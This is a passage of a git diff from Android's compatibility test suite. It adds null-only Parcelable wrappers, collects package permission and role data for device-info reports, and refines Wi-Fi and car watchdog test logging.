android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", - "public android.accounts.AccountManagerFuture<android.os.Bundle> addAccount(String, String, String[], android.os.Bundle, android.app.Activity, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", "public android.accounts.AccountManagerFuture<android.os.Bundle> getAuthToken(android.accounts.Account, String, android.os.Bundle, boolean, android.accounts.AccountManagerCallback<android.os.Bundle>, android.os.Handler)", "public android.os.Bundle hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)", @@ -304,7 +301,6 @@ public final class Processor extends AbstractProcessor { "public android.accounts.AccountManagerFuture<java.lang.Boolean> hasFeatures(android.accounts.Account, String[], android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)", "public android.os.Bundle isCredentialsUpdateSuggested(android.accounts.AccountAuthenticatorResponse, android.accounts.Account, String) throws android.accounts.NetworkErrorException", "public android.accounts.AccountManagerFuture<java.lang.Boolean> isCredentialsUpdateSuggested(android.accounts.Account, String, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)", - "public android.accounts.AccountManagerFuture<java.lang.Boolean> removeAccount(android.accounts.Account, android.accounts.AccountManagerCallback<java.lang.Boolean>, android.os.Handler)", "public android.accounts.AccountManagerFuture<android.accounts.Account> renameAccount(android.accounts.Account, @Size(min=1) String, android.accounts.AccountManagerCallback<android.accounts.Account>, android.os.Handler)", // Uses android.accounts.AccountManager @@ -641,6 +637,18 @@ public final class Processor extends AbstractProcessor { private static final ClassName NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME = ClassName.get("com.android.bedstead.remoteframeworkclasses", "NullParcelableRemoteContentResolver"); + + // TODO(b/205562849): These only support passing null, which is fine for existing tests but will be misleading + private static final ClassName NULL_PARCELABLE_ACTIVITY_CLASSNAME = + ClassName.get("com.android.bedstead.remoteframeworkclasses", + "NullParcelableActivity"); + private static final ClassName NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME = + ClassName.get("com.android.bedstead.remoteframeworkclasses", + "NullParcelableAccountManagerCallback"); + private static final ClassName NULL_HANDLER_CALLBACK_CLASSNAME = + ClassName.get("com.android.bedstead.remoteframeworkclasses", + "NullParcelableHandler"); + private static final ClassName COMPONENT_NAME_CLASSNAME = ClassName.get("android.content", "ComponentName"); @@ -678,6 +686,9 @@ public final class Processor extends AbstractProcessor { private void generateWrappers() { generateWrapper(NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME); generateWrapper(NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME); + generateWrapper(NULL_PARCELABLE_ACTIVITY_CLASSNAME); + generateWrapper(NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME); + generateWrapper(NULL_HANDLER_CALLBACK_CLASSNAME); } private void generateWrapper(ClassName className) { @@ -761,9 +772,8 @@ public final class Processor extends AbstractProcessor { classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class) - .addMember("parcelableWrappers", "{$T.class, $T.class}", - NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, - NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME) + .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}", + NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME) .addMember("futureWrappers", "$T.class", ACCOUNT_MANAGE_FUTURE_WRAPPER_CLASSNAME) .build()); @@ -815,9 +825,8 @@ public final class Processor extends AbstractProcessor { TypeSpec.classBuilder(className).addModifiers(Modifier.FINAL, Modifier.PUBLIC); classBuilder.addAnnotation(AnnotationSpec.builder(CrossUser.class) - .addMember("parcelableWrappers", "{$T.class, $T.class}", - NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, - NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME) + .addMember("parcelableWrappers", "{$T.class, $T.class, $T.class, $T.class, $T.class}", + NULL_PARCELABLE_REMOTE_DEVICE_POLICY_MANAGER_CLASSNAME, NULL_PARCELABLE_REMOTE_CONTENT_RESOLVER_CLASSNAME, NULL_PARCELABLE_ACTIVITY_CLASSNAME, NULL_PARCELABLE_ACCOUNT_MANAGER_CALLBACK_CLASSNAME, NULL_HANDLER_CALLBACK_CLASSNAME) .build()); classBuilder.addField(ClassName.get(frameworkClass), diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt new file mode 100644 index 00000000000..4984775bfe8 --- /dev/null +++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableAccountManagerCallback.java.txt @@ -0,0 +1,79 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.bedstead.remoteframeworkclasses; + +import android.accounts.AccountManagerCallback; +import android.os.Parcel; +import android.os.Parcelable; + +import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper; +import com.google.android.enterprise.connectedapps.internal.Bundler; +import com.google.android.enterprise.connectedapps.internal.BundlerType; + +/** + * This parcelable wrapper just passes null to callers. + * + * <p>It is not functional and only enables use of {@link AccountManagerCallback} for clients + * which do not need to actually use the {@link AccountManagerCallback} param or return value. + */ +@CustomParcelableWrapper(originalType = AccountManagerCallback.class) +public final class NullParcelableAccountManagerCallback<F> implements Parcelable { + + /** + * Create a wrapper for a given {@link AccountManagerCallback}. + */ + public static <F> NullParcelableAccountManagerCallback of( + Bundler bundler, BundlerType type, + AccountManagerCallback<F> accountManagerCallback) { + + if (accountManagerCallback != null) { + throw new IllegalArgumentException("accountManagerCallback can only be null"); + } + + return new NullParcelableAccountManagerCallback<F>(); + } + + private NullParcelableAccountManagerCallback() { + } + + public AccountManagerCallback<F> get() { + return null; + } + + @Override + public void writeToParcel(Parcel dest, int flags) { + } + + @Override + public int describeContents() { + return 0; + } + + @SuppressWarnings("rawtypes") + public static final Creator<NullParcelableAccountManagerCallback> CREATOR = + new Creator<NullParcelableAccountManagerCallback>() { + @Override + public NullParcelableAccountManagerCallback createFromParcel(Parcel in) { + return new NullParcelableAccountManagerCallback(); + } + + @Override + public NullParcelableAccountManagerCallback[] newArray(int size) { + return new NullParcelableAccountManagerCallback[size]; + } + }; +}
\ No newline at end of file diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt new file mode 100644 index 00000000000..6000472908a --- /dev/null +++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableActivity.java.txt @@ -0,0 +1,79 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.bedstead.remoteframeworkclasses; + +import android.app.Activity; +import android.os.Parcel; +import android.os.Parcelable; + +import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper; +import com.google.android.enterprise.connectedapps.internal.Bundler; +import com.google.android.enterprise.connectedapps.internal.BundlerType; + +/** + * This parcelable wrapper just passes null to callers. + * + * <p>It is not functional and only enables use of {@link Activity} for clients + * which do not need to actually use the {@link Activity} param or return value. + */ +@CustomParcelableWrapper(originalType = Activity.class) +public final class NullParcelableActivity implements Parcelable { + + /** + * Create a wrapper for a given {@link Activity}. + */ + public static <F> NullParcelableActivity of( + Bundler bundler, BundlerType type, + Activity activity) { + + if (activity != null) { + throw new IllegalArgumentException("activity can only be null"); + } + + return new NullParcelableActivity(); + } + + private NullParcelableActivity() { + } + + public Activity get() { + return null; + } + + @Override + public void writeToParcel(Parcel dest, int flags) { + } + + @Override + public int describeContents() { + return 0; + } + + @SuppressWarnings("rawtypes") + public static final Creator<NullParcelableActivity> CREATOR = + new Creator<NullParcelableActivity>() { + @Override + public NullParcelableActivity createFromParcel(Parcel in) { + return new NullParcelableActivity(); + } + + @Override + public NullParcelableActivity[] newArray(int size) { + return new NullParcelableActivity[size]; + } + }; +}
\ No newline at end of file diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt new file mode 100644 index 00000000000..92692ade81f --- /dev/null +++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableHandler.java.txt @@ -0,0 +1,79 @@ +/* + * Copyright (C) 2021 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +package com.android.bedstead.remoteframeworkclasses; + +import android.os.Handler; +import android.os.Parcel; +import android.os.Parcelable; + +import com.google.android.enterprise.connectedapps.annotations.CustomParcelableWrapper; +import com.google.android.enterprise.connectedapps.internal.Bundler; +import com.google.android.enterprise.connectedapps.internal.BundlerType; + +/** + * This parcelable wrapper just passes null to callers. + * + * <p>It is not functional and only enables use of {@link Handler} for clients + * which do not need to actually use the {@link Handler} param or return value. + */ +@CustomParcelableWrapper(originalType = Handler.class) +public final class NullParcelableHandler implements Parcelable { + + /** + * Create a wrapper for a given {@link Handler}. + */ + public static <F> NullParcelableHandler of( + Bundler bundler, BundlerType type, + Handler handler) { + + if (handler != null) { + throw new IllegalArgumentException("handler can only be null"); + } + + return new NullParcelableHandler(); + } + + private NullParcelableHandler() { + } + + public Handler get() { + return null; + } + + @Override + public void writeToParcel(Parcel dest, int flags) { + } + + @Override + public int describeContents() { + return 0; + } + + @SuppressWarnings("rawtypes") + public static final Creator<NullParcelableHandler> CREATOR = + new Creator<NullParcelableHandler>() { + @Override + public NullParcelableHandler createFromParcel(Parcel in) { + return new NullParcelableHandler(); + } + + @Override + public NullParcelableHandler[] newArray(int size) { + return new NullParcelableHandler[size]; + } + }; +}
\ No newline at end of file diff --git a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt index 22217a3d388..7225c75464b 100644 --- a/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt +++ b/common/device-side/bedstead/remoteframeworkclasses/src/processor/res/parcelablewrappers/NullParcelableRemoteDevicePolicyManager.java.txt @@ -39,6 +39,11 @@ public final class NullParcelableRemoteDevicePolicyManager implements Parcelable public static <F> NullParcelableRemoteDevicePolicyManager of( Bundler bundler, BundlerType type, RemoteDevicePolicyManager remoteDevicePolicyManager) { + + if (remoteDevicePolicyManager != null) { + throw new IllegalArgumentException("remoteDevicePolicyManager can only be null"); + } + return new NullParcelableRemoteDevicePolicyManager(); } diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java index 32e41a17fdc..fbff1c4d817 100644 --- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java +++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java @@ -15,8 +15,10 @@ */ package com.android.compatibility.common.deviceinfo; +import android.Manifest; import android.annotation.TargetApi; import android.app.admin.DevicePolicyManager; +import android.app.role.RoleManager; import android.content.ComponentName; import android.content.Context; import android.content.pm.ApplicationInfo; @@ -25,12 +27,16 @@ import android.content.pm.PackageManager; import android.content.pm.PermissionInfo; import android.os.Build; import android.os.Process; + import com.android.compatibility.common.util.DeviceInfoStore; import com.android.compatibility.common.util.PackageUtil; +import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity; + import java.io.IOException; import java.util.ArrayList; import java.util.Arrays; +import java.util.HashMap; import java.util.HashSet; import java.util.List; import java.util.Set; @@ -42,7 +48,8 @@ import java.util.Set; public class PackageDeviceInfo extends DeviceInfo { private static final String PLATFORM = "android"; - private static final String PLATFORM_PERMISSION_PREFIX = "android."; + private static final String PLATFORM_ANDROID_PERMISSION_PREFIX = "android.permission."; + private static final String PLATFORM_MANIFEST_PERMISSION_PREFIX = "android.Manifest.permission."; private static final String PACKAGE = "package"; private static final String NAME = "name"; @@ -53,17 +60,23 @@ public class PackageDeviceInfo extends DeviceInfo { private static final String TARGET_SDK = "target_sdk"; private static final String REQUESTED_PERMISSIONS = "requested_permissions"; + private static final String DEFINED_PERMISSIONS = "defined_permissions"; private static final String PERMISSION_NAME = "name"; private static final String PERMISSION_FLAGS = "flags"; private static final String PERMISSION_GROUP = "permission_group"; private static final String PERMISSION_PROTECTION = "protection_level"; private static final String PERMISSION_PROTECTION_FLAGS = "protection_level_flags"; + private static final String PERMISSION_IS_GRANTED = "is_granted"; + private static final String PERMISSION_TYPE = "type"; private static final int PERMISSION_TYPE_SYSTEM = 1; private static final int PERMISSION_TYPE_OEM = 2; private static final int PERMISSION_TYPE_CUSTOM = 3; + private static final String REQUESTED_ROLES = "requested_roles"; + private static final String ROLE_NAME = "name"; + private static final String HAS_SYSTEM_UID = "has_system_uid"; private static final String SHARES_INSTALL_PERMISSION = "shares_install_packages_permission"; @@ -82,6 +95,21 @@ public class PackageDeviceInfo extends DeviceInfo { private static final String CONFIG_ACCESSIBILITY_SERVICE = "config_defaultAccessibilityService"; private static final String DEFAULT_ACCESSIBILITY_SERVICE = "is_default_accessibility_service"; + private static final HashSet<String> ADDITIONAL_ANDROID_PERMISSIONS = new HashSet<>(Arrays.asList(new String[] { + "com.android.voicemail.permission.ADD_VOICEMAIL", + "com.android.voicemail.permission.WRITE_VOICEMAIL", + "com.android.voicemail.permission.READ_VOICEMAIL", + "com.android.browser.permission.READ_HISTORY_BOOKMARKS", + "com.android.browser.permission.WRITE_HISTORY_BOOKMARKS", + "com.android.alarm.permission.SET_ALARM", + "com.android.launcher.permission.INSTALL_SHORTCUT", + "com.android.launcher.permission.UNINSTALL_SHORTCUT", + "com.android.permission.INSTALL_EXISTING_PACKAGES", + "com.android.permission.USE_INSTALLER_V2", + "com.android.permission.USE_SYSTEM_DATA_LOADERS", + "android.intent.category.MASTER_CLEAR.permission.C2D_MESSAGE" + })); + @Override protected void collectDeviceInfo(DeviceInfoStore store) throws Exception { @@ -96,6 +124,8 @@ public class PackageDeviceInfo extends DeviceInfo { final ComponentName defaultAccessibilityComponent = getDefaultAccessibilityComponent(); + final HashMap<String, List<String>> packageRolesData = getPackageRolesData(); + // Platform permission data used to tag permissions information with sourcing information final PackageInfo platformInfo = pm.getPackageInfo(PLATFORM , PackageManager.GET_PERMISSIONS); final Set<String> platformPermissions = new HashSet<String>(); @@ -109,7 +139,9 @@ public class PackageDeviceInfo extends DeviceInfo { store.addResult(NAME, pkg.packageName); store.addResult(VERSION_NAME, pkg.versionName); - collectPermissions(store, pm, platformPermissions, pkg); + collectRequestedPermissions(store, pm, platformPermissions, pkg); + collectDefinedPermissions(store, platformPermissions, pkg); + collectionApplicationInfo(store, pm, pkg); store.addResult(HAS_DEFAULT_NOTIFICATION_ACCESS, @@ -131,12 +163,14 @@ public class PackageDeviceInfo extends DeviceInfo { String sha256_file = PackageUtil.computePackageFileDigest(pkg); store.addResult(SHA256_FILE, sha256_file); + collectRoles(store, packageRolesData, pkg); + store.endGroup(); } store.endArray(); // "package" } - private static void collectPermissions(DeviceInfoStore store, + private static void collectRequestedPermissions(DeviceInfoStore store, PackageManager pm, Set<String> systemPermissions, PackageInfo pkg) throws IOException @@ -150,20 +184,11 @@ public class PackageDeviceInfo extends DeviceInfo { final PermissionInfo pi = pm.getPermissionInfo(permission, 0); store.startGroup(); - store.addResult(PERMISSION_NAME, permission); - writePermissionsDetails(pi, store); - - final boolean isPlatformPermission = systemPermissions.contains(permission); - if (isPlatformPermission) { - final boolean isAndroidPermission = permission.startsWith(PLATFORM_PERMISSION_PREFIX); - if (isAndroidPermission) { - store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM); - } else { - store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM); - } - } else { - store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM); - } + writePermissionsDetails(pi, store, systemPermissions); + + boolean isGranted = pm.checkPermission( + permission, pkg.packageName) == pm.PERMISSION_GRANTED; + store.addResult(PERMISSION_IS_GRANTED, isGranted); store.endGroup(); } catch (PackageManager.NameNotFoundException e) { @@ -174,6 +199,27 @@ public class PackageDeviceInfo extends DeviceInfo { store.endArray(); } + private static void collectDefinedPermissions(DeviceInfoStore store, + Set<String> systemPermissions, + PackageInfo pkg) throws IOException { + if (pkg.permissions != null && pkg.permissions.length > 0) { + store.startArray(DEFINED_PERMISSIONS); + for (PermissionInfo permission : pkg.permissions) { + if (permission == null) continue; + // Ignore "android" package defined AOSP permissions. + if (pkg.packageName.equals(PLATFORM) + && isAndroidPermission(permission.name)) + continue; + + store.startGroup(); + writePermissionsDetails(permission, store, systemPermissions); + store.endGroup(); + + } + store.endArray(); + } + } + private static void collectionApplicationInfo(DeviceInfoStore store, PackageManager pm, PackageInfo pkg) throws IOException { @@ -225,8 +271,12 @@ public class PackageDeviceInfo extends DeviceInfo { return sharedPermissions.contains(PackageDeviceInfo.INSTALL_PACKAGES_PERMISSION); } - private static void writePermissionsDetails(PermissionInfo pi, DeviceInfoStore store) - throws IOException { + private static void writePermissionsDetails(PermissionInfo pi, + DeviceInfoStore store, + Set<String> systemPermissions) throws IOException { + final String permissionName = pi.name; + store.addResult(PERMISSION_NAME, permissionName); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.JELLY_BEAN_MR1) { store.addResult(PERMISSION_FLAGS, pi.flags); } else { @@ -244,6 +294,18 @@ public class PackageDeviceInfo extends DeviceInfo { store.addResult(PERMISSION_PROTECTION_FLAGS, pi.protectionLevel & ~PermissionInfo.PROTECTION_MASK_BASE); } + + final boolean isPlatformPermission = systemPermissions.contains(permissionName); + if (isPlatformPermission) { + final boolean isAndroidPermission = isAndroidPermission(permissionName); + if (isAndroidPermission) { + store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_SYSTEM); + } else { + store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_OEM); + } + } else { + store.addResult(PERMISSION_TYPE, PERMISSION_TYPE_CUSTOM); + } } private Set<String> getActiveDeviceAdminPackages() { @@ -291,5 +353,55 @@ public class PackageDeviceInfo extends DeviceInfo { .getResources() .getIdentifier(name, type, "android"); } + + /** Return a boolean value to whether the permission is an android permission defined by android package */ + private static boolean isAndroidPermission(String permissionName) { + if(permissionName.startsWith(PLATFORM_ANDROID_PERMISSION_PREFIX) + || permissionName.startsWith(PLATFORM_MANIFEST_PERMISSION_PREFIX) + || ADDITIONAL_ANDROID_PERMISSIONS.contains(permissionName)) + return true; + return false; + } + + private static void collectRoles(DeviceInfoStore store, + HashMap<String, List<String>> packageRolesData, + PackageInfo pkg) throws IOException { + String packageName = pkg.packageName; + if(packageRolesData.containsKey(packageName)) { + List<String> roleNames = packageRolesData.get(packageName); + + store.startArray(REQUESTED_ROLES); + for(String roleName: roleNames) { + store.startGroup(); + store.addResult(ROLE_NAME, roleName); + store.endGroup(); + } + store.endArray(); + } + } + + /* + Return a map of PackageName -> List of RoleNames held by that package + */ + private HashMap<String, List<String>> getPackageRolesData() throws Exception { + final RoleManager roleManager = getContext().getSystemService(RoleManager.class); + HashMap<String, List<String>> packageRolesData = new HashMap<>(); + + for(String roleName: RolesUtil.ROLE_NAMES) { + List<String> packageNames = getRoleHolders(roleName, roleManager); + + for(String packageName: packageNames) { + packageRolesData.putIfAbsent(packageName, new ArrayList<>()); + packageRolesData.get(packageName).add(roleName); + } + } + return packageRolesData; + } + + public static List<String> getRoleHolders(String roleName, RoleManager roleManager) throws Exception { + return callWithShellPermissionIdentity( + () -> roleManager.getRoleHolders(roleName), + Manifest.permission.MANAGE_ROLE_HOLDERS); + } } diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java new file mode 100644 index 00000000000..65531d50835 --- /dev/null +++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/RolesUtil.java @@ -0,0 +1,47 @@ +package com.android.compatibility.common.deviceinfo; + +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; + +public class RolesUtil { + public final static List<String> ROLE_NAMES = new ArrayList<>(Arrays.asList(new String[] { + "android.app.role.ASSISTANT", + "android.app.role.AUTOMOTIVE_NAVIGATION", + "android.app.role.BROWSER", + "android.app.role.CALL_REDIRECTION", + "android.app.role.CALL_SCREENING", + "android.app.role.COMPANION_DEVICE_APP_STREAMING", + "android.app.role.COMPANION_DEVICE_COMPUTER", + "android.app.role.COMPANION_DEVICE_WATCH", + "android.app.role.DEVICE_POLICY_MANAGEMENT", + "android.app.role.DIALER", + "android.app.role.EMERGENCY", + "android.app.role.HOME", + "android.app.role.SMS", + "android.app.role.SYSTEM_ACTIVITY_RECOGNIZER", + "android.app.role.SYSTEM_AMBIENT_AUDIO_INTELLIGENCE", + "android.app.role.SYSTEM_APP_PROTECTION_SERVICE", + "android.app.role.SYSTEM_AUDIO_INTELLIGENCE", + "android.app.role.SYSTEM_AUTOMOTIVE_CALENDAR_SYNC_MANAGER", + "android.app.role.SYSTEM_AUTOMOTIVE_CLUSTER", + "android.app.role.SYSTEM_AUTOMOTIVE_PROJECTION", + "android.app.role.SYSTEM_COMPANION_DEVICE_PROVIDER", + "android.app.role.SYSTEM_CONTACTS", + "android.app.role.SYSTEM_DOCUMENT_MANAGER", + "android.app.role.SYSTEM_GALLERY", + "android.app.role.SYSTEM_NOTIFICATION_INTELLIGENCE", + "android.app.role.SYSTEM_SETTINGS_INTELLIGENCE", + "android.app.role.SYSTEM_SHELL", + "android.app.role.SYSTEM_SPEECH_RECOGNIZER", + "android.app.role.SYSTEM_SUPERVISION", + "android.app.role.SYSTEM_TELEVISION_NOTIFICATION_HANDLER", + "android.app.role.SYSTEM_TELEVISION_REMOTE_SERVICE", + "android.app.role.SYSTEM_TEXT_INTELLIGENCE", + "android.app.role.SYSTEM_UI", + "android.app.role.SYSTEM_UI_INTELLIGENCE", + "android.app.role.SYSTEM_VISUAL_INTELLIGENCE", + "android.app.role.SYSTEM_WELLBEING", + "android.app.role.SYSTEM_WIFI_COEX_MANAGER", + })); +} diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java index 5aa36c9bcd5..30084ea548f 100755 --- a/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java +++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/WifiConfigCreator.java @@ -27,6 +27,7 @@ import android.net.ProxyInfo; import android.net.Uri; import android.net.wifi.WifiConfiguration; import android.net.wifi.WifiManager; +import android.os.Process; import android.text.TextUtils; import android.util.Log; @@ -61,6 +62,7 @@ public class WifiConfigCreator { private final Context mContext; private final WifiManager mWifiManager; + private WifiManager mCurrentUserWifiManager; public WifiConfigCreator(Context context) { this(context, context.getApplicationContext().getSystemService(WifiManager.class)); @@ -69,6 +71,15 @@ public class WifiConfigCreator { public WifiConfigCreator(Context context, WifiManager wifiManager) { mContext = context; mWifiManager = wifiManager; + mCurrentUserWifiManager = mContext.getSystemService(WifiManager.class); + Log.d(TAG, "WifiConfigCreator: user=" + Process.myUserHandle() + ", ctx=" + context + + ", mgr=" + mWifiManager + ", currentUserMgr=" + mCurrentUserWifiManager); + } + + @Override + public String toString() { + return "WifiConfigCreator[mWifiManager=" + mWifiManager + + ",mCurrentUserWifiManager=" + mCurrentUserWifiManager + "]"; } /** @@ -81,6 +92,7 @@ public class WifiConfigCreator { WifiConfiguration wifiConf = createConfig(ssid, hidden, securityType, password); + Log.i(TAG, "Adding SSID " + ssid + " using " + mWifiManager); int netId = mWifiManager.addNetwork(wifiConf); if (netId != -1) { @@ -303,15 +315,17 @@ public class WifiConfigCreator { } private List<WifiConfiguration> getConfiguredNetworksWithLogging() { - Log.d(TAG, "calling getConfiguredNetworks()"); - List<WifiConfiguration> configuredNetworks = getConfiguredNetworks(); + Log.d(TAG, "calling getConfiguredNetworks() using " + mCurrentUserWifiManager); + // Must use a the WifiManager of the current user to list networks, as + // getConfiguredNetworks() would return empty on systems using headless system + // mode as that method "Return a list of all the networks configured for the current + // foreground user", and the system user is running in the background in this case. + List<WifiConfiguration> configuredNetworks = mCurrentUserWifiManager + .getConfiguredNetworks(); Log.d(TAG, "Got " + configuredNetworks.size() + " networks: " - + configuredNetworks.stream().map((c) -> c.SSID).collect(Collectors.toList())); + + configuredNetworks.stream().map((c) -> c.SSID + "/" + c.networkId) + .collect(Collectors.toList())); return configuredNetworks; } - - public List<WifiConfiguration> getConfiguredNetworks() { - return mWifiManager.getConfiguredNetworks(); - } } diff --git a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java index 7057462fab3..66c6c5a0c81 100644 --- a/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java +++ b/hostsidetests/car/app/src/android/car/cts/app/CarWatchdogTestActivity.java @@ -299,6 +299,7 @@ public final class CarWatchdogTestActivity extends Activity { CarWatchdogManager.FLAG_RESOURCE_OVERUSE_IO, CarWatchdogManager.STATS_PERIOD_CURRENT_DAY); } + Log.d(TAG, "Fetched resource overuse stats: " + stats); IoOveruseStats ioOveruseStats = stats.getIoOveruseStats(); if (ioOveruseStats == null) { setDumpMessage( @@ -312,7 +313,6 @@ public final class CarWatchdogTestActivity extends Activity { + "' returned by get request"); return 0; } - Log.d(TAG, ioOveruseStats.toString()); /* * Check for foreground mode bytes given CtsCarApp is running in the foreground * during testing. @@ -343,26 +343,24 @@ public final class CarWatchdogTestActivity extends Activity { @Override public void onOveruse(ResourceOveruseStats resourceOveruseStats) { synchronized (mLock) { + Log.d(TAG, "onOveruse callback received: " + resourceOveruseStats); mForegroundModeBytes = -1; mNotificationReceived = true; mLock.notifyAll(); - } - Log.d(TAG, resourceOveruseStats.toString()); - if (resourceOveruseStats.getIoOveruseStats() == null) { - setDumpMessage( - "ERROR: No I/O overuse stats reported for the application in the overuse " - + "notification."); - return; - } - long reportedWrittenBytes = - resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten(); - if (reportedWrittenBytes < mExpectedMinWrittenBytes) { - setDumpMessage("ERROR: Actual written bytes to disk '" + mExpectedMinWrittenBytes - + "' don't match written bytes '" + reportedWrittenBytes - + "' reported in overuse notification"); - return; - } - synchronized (mLock) { + if (resourceOveruseStats.getIoOveruseStats() == null) { + setDumpMessage( + "ERROR: No I/O overuse stats reported for the application in the " + + "overuse notification."); + return; + } + long reportedWrittenBytes = + resourceOveruseStats.getIoOveruseStats().getTotalBytesWritten(); + if (reportedWrittenBytes < mExpectedMinWrittenBytes) { + setDumpMessage("ERROR: Actual written bytes to disk '" + + mExpectedMinWrittenBytes + "' don't match written bytes '" + + reportedWrittenBytes + "' reported in overuse notification"); + return; + } mForegroundModeBytes = resourceOveruseStats.getIoOveruseStats().getRemainingWriteBytes() .getForegroundModeBytes(); diff --git a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java index f66b391beaf..68598669b3d 100644 --- a/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java +++ b/hostsidetests/car/src/android/car/cts/CarWatchdogHostTest.java @@ -29,6 +29,7 @@ import com.android.os.AtomsProto.CarWatchdogIoOveruseStats; import com.android.os.AtomsProto.CarWatchdogIoOveruseStatsReported; import com.android.os.AtomsProto.CarWatchdogKillStatsReported; 